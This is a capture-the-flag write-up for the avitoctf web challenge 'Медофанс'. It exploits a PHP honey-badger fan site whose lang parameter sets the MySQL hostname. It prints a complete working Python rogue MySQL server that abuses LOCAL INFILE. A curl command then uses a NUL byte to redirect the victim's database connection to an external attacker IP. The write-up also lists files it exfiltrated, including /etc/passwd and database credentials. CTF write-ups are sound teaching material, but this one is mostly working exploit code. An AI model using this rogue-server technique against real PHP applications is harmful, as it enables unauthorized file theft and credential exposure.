Медофанс
Медофанс
Platform: avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-23 | Status: Solved Techniques: nul_byte_hostname_truncation, rogue_mysql_local_infile_exfiltration, error_message_information_disclosure, backup_file_discovery
Summary
Task: multilingual honey-badger fan site where the lang parameter controls the MySQL hostname (<lang>.db.internal); flag is on the filesystem. Solution: NUL byte in lang parameter truncates the .db.internal suffix at C level, redirecting the MySQL connection to a rogue server that exploits LOCAL INFILE to exfiltrate filesystem files including an old database backup containing the unredacted flag.
Медофанс — avitoctf
Description
Сообщества любителей медоедов из России, Англии и Германии завели свой совместный фан-сайт, где делятся самыми интересными фактами об этих животных.
Спойлер: хорошего разработчика в этих сообществах не было.
hbfuns-9vqogw6q.avitoctf.ru/
Флаг на файловой системе.
English summary: Communities of honey-badger fans from Russia, England, and Germany created a joint fan-site sharing facts about honey badgers. Spoiler: there was no good developer in these communities. The flag is on the filesystem.
Analysis
Application structure
The site is a multilingual honey-badger fan page with three languages (EN, RU, DE). The frontend JavaScript (/assets/app.js) calls /api/content.php?lang=<lang> to load translated content and facts from per-language MySQL databases.
The backend PHP source (content.php) constructs the database connection parameters directly from user input:
php read-only • copy allowed$lang = isset($_GET['lang']) ? explode(':', $_GET['lang'], 2)[0] : 'en'; $host = $lang . '.db.internal'; $db = 'hbf_' . $lang; mysqli_real_connect($conn, $host, $DB_USER, $DB_PASS, $db);
Key observations:
- Only
en,ru,de(lowercase) resolve as valid DB hosts and return content - Invalid
langvalues produce verbose errors:Could not connect to database at <lang>.db.internal: php_network_getaddresses: getaddrinfo failed - Case variants like
DEresolve via DNS (case-insensitive) but fail MySQL auth:Access denied for user 'web'@'%' to database 'hbf_DE'— revealing the MySQL usernameweb - The colon
:is used as a delimiter byexplode(), stripping everything after it, but the.db.internalsuffix is always appended
The German clue
The German (de) database returns 11 facts (vs 10 for en/ru). The extra fact is titled "Daten aus dem Archiv" (Data from the archive):
Eine deutsche Expedition, die Ende des 20. Jahrhunderts nach Afrika aufbrach, soll einen Bau der Honigdachse entdeckt haben. Die ganze Familie bewachte eine Tafel, auf der geschrieben stand: /*REDACTED*/.
The /*REDACTED*/ uses SQL block-comment syntax, hinting at a database/SQL-related vulnerability. "Tafel" means both "plaque" and "table" in German — a deliberate double meaning pointing toward the database layer.
NUL byte hostname bypass
The critical vulnerability: a NUL byte (%00) in the lang parameter causes the MySQL C API's getaddrinfo() to truncate the hostname at the NUL character, bypassing the .db.internal suffix entirely.
- PHP builds the string:
"127.0.0.1\x00.db.internal"(NUL byte embedded) - The C-level
getaddrinfo()treats the NUL as a string terminator, resolving only127.0.0.1 - This allows connecting to any attacker-controlled IP address
Testing: lang=127.0.0.1%00 → "Connection refused" (no MySQL on localhost, but the suffix bypass is confirmed).
Rogue MySQL + LOCAL INFILE
PHP's mysqli client has allow_local_infile enabled (the "bad developer" misconfiguration). This enables the classic rogue MySQL server attack:
- The rogue server completes the MySQL handshake normally
- After authentication, when the client sends its first query (e.g.,
SET NAMES utf8mb4) - The server responds with a
LOCAL INFILErequest packet (0xFB+ filename) - The PHP client reads the requested file from its own filesystem and sends the contents back
Solution
Step 1: Deploy rogue MySQL server
A Python script implementing a minimal MySQL server was deployed on a publicly reachable VDS (72.56.24.3:3306):
python read-only • copy allowed#!/usr/bin/env python3 """Rogue MySQL server for LOCAL INFILE exfiltration.""" import socket, struct, sys, time, os FILES = sys.argv[1:] if len(sys.argv) > 1 else ["/flag"] PORT = int(os.environ.get("PORT", "3306")) CAPDIR = "/tmp/captured" os.makedirs(CAPDIR, exist_ok=True) def pkt(payload, seq): return len(payload).to_bytes(3, "little") + bytes([seq]) + payload def recv_pkt(c, timeout=15): c.settimeout(timeout) try: hdr = b"" while len(hdr) < 4: d = c.recv(4 - len(hdr)) if not d: return None, None hdr += d n = int.from_bytes(hdr[:3], "little") seq = hdr[3] body = b"" while len(body) < n: d = c.recv(n - len(body)) if not d: break body += d return seq, body except Exception: return None, None def greeting(): salt1 = b"\x41\x42\x43\x44\x45\x46\x47\x48" salt2 = b"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x00" caps = 0x00A28F8F # includes LOCAL_FILES, PROTOCOL_41, SECURE_CONNECTION return ( b"\x0a" + b"5.7.99-rogue\x00" + struct.pack("<I", 1) + salt1 + b"\x00" + struct.pack("<H", caps & 0xFFFF) + b"\x21" + struct.pack("<H", 0x0002) + struct.pack("<H", (caps >> 16) & 0xFFFF) + bytes([21]) + b"\x00" * 10 + salt2 + b"mysql_native_password\x00" ) def handle(conn, addr, fname): # 1) Send greeting conn.sendall(pkt(greeting(), 0)) # 2) Receive auth handshake seq, auth = recv_pkt(conn) if auth is None: return None # 3) Send OK conn.sendall(pkt(b"\x00\x00\x00\x02\x00\x00\x00", seq + 1)) # 4) Receive client command (SET NAMES, etc.) seq2, cmd_data = recv_pkt(conn, timeout=10) if cmd_data is None: seq2 = 0 # 5) Send LOCAL INFILE request conn.sendall(pkt(b"\xfb" + fname.encode(), seq2 + 1)) # 6) Receive file content chunks = [] while True: s, d = recv_pkt(conn, timeout=10) if d is None or d == b"": break chunks.append(d) content = b"".join(chunks) if content: safe = fname.replace("/", "_").replace(".", "_") with open(os.path.join(CAPDIR, f"{safe}.bin"), "wb") as f: f.write(content) return content def main(): with socket.socket() as srv: srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", PORT)) srv.listen(5) idx = 0 while True: c, a = srv.accept() f = FILES[idx % len(FILES)] with c: r = handle(c, a, f) if r is not None: idx += 1 if __name__ == "__main__": main()
Step 2: Trigger connection via NUL byte bypass
bash read-only • copy allowedcurl 'https://hbfuns-9vqogw6q.avitoctf.ru/api/content.php?lang=72.56.24.3%00'
PHP constructs hostname 72.56.24.3\0.db.internal, the C API resolves 72.56.24.3, and connects to the rogue MySQL server.
Step 3: Exfiltrate filesystem files
Each connection exfiltrates one file. Multiple requests were made to read:
/etc/passwd(919B) — confirmed Alpine Linux container/var/www/html/config.php(46B) — DB credentials:web/webpass/var/www/html/api/content.php(997B) — confirmed theexplode(':', $lang, 2)[0]logic andmysqli_real_connect()usage/etc/crontab→ discovered/opt/scripts/backup.sh/var/log/hbf-backup.log→ found weekly backups at/opt/backups//opt/backups/hbf_de_backup_2019-05-05.sql(4696B) — old database backup containing the unredacted flag
Step 4: Recover the flag
The 2019 backup SQL file contains the original German archive fact INSERT with the unredacted plaque text:
sql read-only • copy allowedINSERT INTO `facts` VALUES ... (5,'Daten aus dem Archiv','Eine deutsche Expedition, die Ende des 20. Jahrhunderts nach Afrika aufbrach, soll einen Bau der Honigdachse entdeckt haben. Die ganze Familie bewachte eine Tafel, auf der geschrieben stand: <FLAG_FRAGMENT_REDACTED>.', '/assets/badger.svg');
The live de database has /*REDACTED*/ in place of the flag, but the old 2019 backup on the filesystem preserves the original value.